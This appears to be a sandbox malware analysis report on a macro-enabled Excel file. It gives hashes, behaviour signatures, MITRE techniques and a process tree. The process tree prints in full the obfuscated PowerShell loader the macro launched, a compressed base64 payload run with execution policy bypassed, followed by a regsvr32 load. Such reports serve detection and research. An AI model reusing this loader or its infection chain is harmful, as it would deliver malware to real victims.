b22e1571c169269bdad84dd7804189a4a6b20f600348b4e18e91661b0c08b111

Analysis

max time kernel
135s
max time network
130s
platform
windows10_x64
resource
win10
submitted
08/07/2020, 14:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

59886858-27.xlsm
Size

63KB
MD5

b9236072b57105e260444f147ae54927
SHA1

033a1cfd5780cb7ea3fabaabe8db663a5f13971d
SHA256

b22e1571c169269bdad84dd7804189a4a6b20f600348b4e18e91661b0c08b111
SHA512

863d6626b4a7230896574bf04b9041557a23f839c48427ae7798de98a0610124d7a5707f687353131bab6b4e46036b257dde0118b784ea84ef0b4e34c703e116

Score

10^/10

Malware Config

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3920	EXCEL.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	424	3920	powershell.exe	66

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Blacklisted process makes network request 1 IoCs

flow	pid	Process
16	424	powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious use of SetWindowsHookEx 19 IoCs

pid	Process
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE
3920	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3920 wrote to memory of 424	3920	EXCEL.EXE	72
PID 3920 wrote to memory of 424	3920	EXCEL.EXE	72
PID 424 wrote to memory of 1536	424	powershell.exe	75
PID 424 wrote to memory of 1536	424	powershell.exe	75

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeDebugPrivilege	424	powershell.exe
Token: SeIncreaseQuotaPrivilege	424	powershell.exe
Token: SeSecurityPrivilege	424	powershell.exe
Token: SeTakeOwnershipPrivilege	424	powershell.exe
Token: SeLoadDriverPrivilege	424	powershell.exe
Token: SeSystemProfilePrivilege	424	powershell.exe
Token: SeSystemtimePrivilege	424	powershell.exe
Token: SeProfSingleProcessPrivilege	424	powershell.exe
Token: SeIncBasePriorityPrivilege	424	powershell.exe
Token: SeCreatePagefilePrivilege	424	powershell.exe
Token: SeBackupPrivilege	424	powershell.exe
Token: SeRestorePrivilege	424	powershell.exe
Token: SeShutdownPrivilege	424	powershell.exe
Token: SeDebugPrivilege	424	powershell.exe
Token: SeSystemEnvironmentPrivilege	424	powershell.exe
Token: SeRemoteShutdownPrivilege	424	powershell.exe
Token: SeUndockPrivilege	424	powershell.exe
Token: SeManageVolumePrivilege	424	powershell.exe
Token: 33	424	powershell.exe
Token: 34	424	powershell.exe
Token: 35	424	powershell.exe
Token: 36	424	powershell.exe
Token: SeIncreaseQuotaPrivilege	424	powershell.exe
Token: SeSecurityPrivilege	424	powershell.exe
Token: SeTakeOwnershipPrivilege	424	powershell.exe
Token: SeLoadDriverPrivilege	424	powershell.exe
Token: SeSystemProfilePrivilege	424	powershell.exe
Token: SeSystemtimePrivilege	424	powershell.exe
Token: SeProfSingleProcessPrivilege	424	powershell.exe
Token: SeIncBasePriorityPrivilege	424	powershell.exe
Token: SeCreatePagefilePrivilege	424	powershell.exe
Token: SeBackupPrivilege	424	powershell.exe
Token: SeRestorePrivilege	424	powershell.exe
Token: SeShutdownPrivilege	424	powershell.exe
Token: SeDebugPrivilege	424	powershell.exe
Token: SeSystemEnvironmentPrivilege	424	powershell.exe
Token: SeRemoteShutdownPrivilege	424	powershell.exe
Token: SeUndockPrivilege	424	powershell.exe
Token: SeManageVolumePrivilege	424	powershell.exe
Token: 33	424	powershell.exe
Token: 34	424	powershell.exe
Token: 35	424	powershell.exe
Token: 36	424	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
424	powershell.exe
424	powershell.exe
424	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\59886858-27.xlsm"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NOpROFILe -exEcUTION BypaSS -nOnINterAcTi -wiN 01 "&(\"{0}{1}\" -f 'sa','l') ('tr'+'im') ('N'+'ew-Obje'+'ct');.((.('gv') (\"{0}{1}\" -f '*','mdr*')).NAMe[3,11,2]-join'') ( .(\"{1}{0}\"-f'im','tr') ('s'+'ystEM'+'.Io.C'+'O'+'m'+'pReSSi'+'on.De'+'flA'+'te'+'StreAm')([SysteM.iO.MeMoryStreAM][convERt]::fROmbaSE64STrINg( (\"{16}{58}{22}{31}{9}{62}{40}{46}{4}{27}{19}{28}{7}{20}{38}{33}{6}{26}{52}{2}{41}{24}{55}{34}{48}{61}{30}{15}{29}{13}{14}{3}{47}{1}{32}{43}{56}{18}{36}{60}{59}{53}{21}{23}{42}{57}{51}{10}{39}{25}{54}{11}{37}{50}{12}{0}{17}{44}{8}{35}{5}{49}{45}\" -f'jA1xehYZc7AAUNzALk783FzqjPcuz0kETx','LjPHwO/NC','Fa6dvAt3Cuk','ed/0PVl4uDc0nFYGp6K2iDJHYB5QmhXcgc3Lw','Ua8uDGZecolOTYJA+2jVZsug3HihQH7LCpmIW09KCst4MX7oOwNhE2M7uMk8mhjv','4leN/CwZR','SU6ekfKz5XQqo573t2RHp7AV','sA8KbmK9POgnu8jm96QqEACjm','6xUqGXroijF+tBT2z/1','MGYWxarsXjFTOPsyCgaz5OP7w0LeqDoJVNUUa','VKvGjehP3x','OYHJnDs5dEjrT0kFS1qUvf/wyjzcJCLLKltvpt/c82ME9J7cjSY3MlBgSgTeywjS4o3xBNq','6PV5DZOaIfi8R3Vbn0','fRGfFQW7hiD0','VlB1xIyOTOxb','xKsgx/Ty4TuCL2mHI8','dVYNc9pGEP0rFw31ScEoGDtuAsO0GMsOCcEuYByHMDkZDi','wNQ9y5KXY6a53q/s/9TTZ8H08CXycz96tOjR30RsM1F5tVsplVKcFGBg/5i/7AI48ttF2ROey','ah','Udf7+hr','mKBOMPi4ZJ6Wm','BTUl','WlZp','KpSEv+K1vd','qWZcnLjISSEdi6Ze3S','9666l5obvjfyentrQbiD0YxEgMI+mOH2ggi75iHq0sUNC66Y0IGCj3p6lTIxZ9CuJqrv7PJI5iakS6AjAuw','LoOEHbGSdBllg','Mx2261gFT5JiM+UxUqRXPjuWJq8xA8L6YtoKyv/t','LZKAFsCV70rlIHyCpl','4V1AfikZCRJSdHO7bpB6Cdl0uBDd5pn1TtADWxC/VxrkgHLln2qVarb3SPcO8huLGwQ5k5TpnYy/Km/AD1wz1h','++EDx4nu','RRmlKePhudfhh7wvf/ZtBy8zX','dnLtJYf5kAOaVaJyD8uaw+eBGw9','YakONSk9Q+78BnkaYt8cLfQeZvuDWsjOx8dLT6fuTNnbWB','TgajkBAulhTx48r3c','QEyLUx9+XwOJqRxwMvYaZ22EoNvbFcFz1+tL9De/3RIdJ6bwPatDIv','MSrriNYSgIebS2PHdsFGSBYrfM0','ljI++tQF','9g','m7KbRqAONX8YUGYRpTm85UrdjmFHCbnQKITO0bJ+y0X6xqNceiTRbnZ24sT0','QbDgves5dVJ9t9hghF5WuuBfINZ1LiXJFdK7tqpzXiuks','8yfkwqWE3c3xFtBbQzRUPZfj','TH7jYNcZxn57phxCvCf0zMjORM97','HIPMjRgg+gF2bd+8wqBxCLNPtLeRVYtqmldfS2Fa9lCS','/8FYh/ka9JM/vUTVDvZOCTRiY19SG','z6B8hQvUOP82oTk0/4Q0/As=','aqX8bhU9SM8OqKDl/LrI/oWPEImW','EE0X2YclYOFJPvOLzMzpYFrWdrsgBaoLT','YjnEimzLNtYihtvYhAEB3F4SFCZyY6gGsAirmIDeVdIm/BpSNwa4U/DVUVujyFOC01a6KlDIv9oyzHGzW/nQGutVfA/OHb2RKxqoB','lvXND9DUcqctO','I1XhgU','HAbw07dls7DE6DEQtVx8GnO1hwLIHDX/p','5V+LD2ZW','2gTMF/8','yaV0cvOOu1v9fUwWLm6M7YSgIF1k6Lok96eoiPHYxsJ8hOmJWxjHN6ITmKsV4pFQnSpWLHOhm','MXBX3uTnAP5wzwi5oDYzFW9eyxdSbzJF5A1Ifre04QbcAb2+TzCrdM096j5OyZjHjwNft8SoFJ36p1vZyo9PcM7a0mgoxiksf1Eidy','1xcmuZ9hATvUAMQvHJMcyNC5utXK591C77eudUs3fgCv9GGpZV+hh6AYrZ1wHui4uZJhBUimrizK91zQsP7hRSOHWw34qodY51MhPa+Y+9jbeuMS0UuVn7g','d','xbSEQSOK56/71vT3yIdsKMPtDt7b7dfbt7Pc/kq0a31TjzeZHLKm5fT065xZjJhv27a2dkGumRSo9V','/kr/Qu','HQUIr8G3GRABAtsTYQc1pFiCcqb428BckpQERy3ddzPX1dXuTjtaoPvSAZQddn9Zo43yEn2+KHq1hedX7SRJLoQPW','S5/ASXC6kktsof7C24njpiQgGU','SrnGlJsOuqM3C6eK4341eYdXv1YXK3kLShTBu0tHdlTyHotR1u') ) , [iO.COMprESSiON.COmPrESSIoNmodE]::decoMPRESS)|&('%'){ .(\"{0}{1}\" -f 'T','rim') ('SYSTem.'+'iO.'+'st'+'ReaMReAd'+'ER')($_ ,[sYSTeM.TEXT.eNCodIng]::AsCii)}).READtoeNd( )"
  2⤵
  - Process spawned unexpected child process
  - Blacklisted process makes network request
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  PID:424
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" -s "C:\Users\Admin\AppData\Local\Temp\{D84B864A-DF86-4A9D-9DB3-11483255CE4D} - OProcSessId."
    3⤵
    PID:1536

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3920-0-0x000001D2D5541000-0x000001D2D554A000-memory.dmp

Filesize
36KB

Download
memory/3920-1-0x000001D2D5541000-0x000001D2D554A000-memory.dmp

Filesize
36KB

Download